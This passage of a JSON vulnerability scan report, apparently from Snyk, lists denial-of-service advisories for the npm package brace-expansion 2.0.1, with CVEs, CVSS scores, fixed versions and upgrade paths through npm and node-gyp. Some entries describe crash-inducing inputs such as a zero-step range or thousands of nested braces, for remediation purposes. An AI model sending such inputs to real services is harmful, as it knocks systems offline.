"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
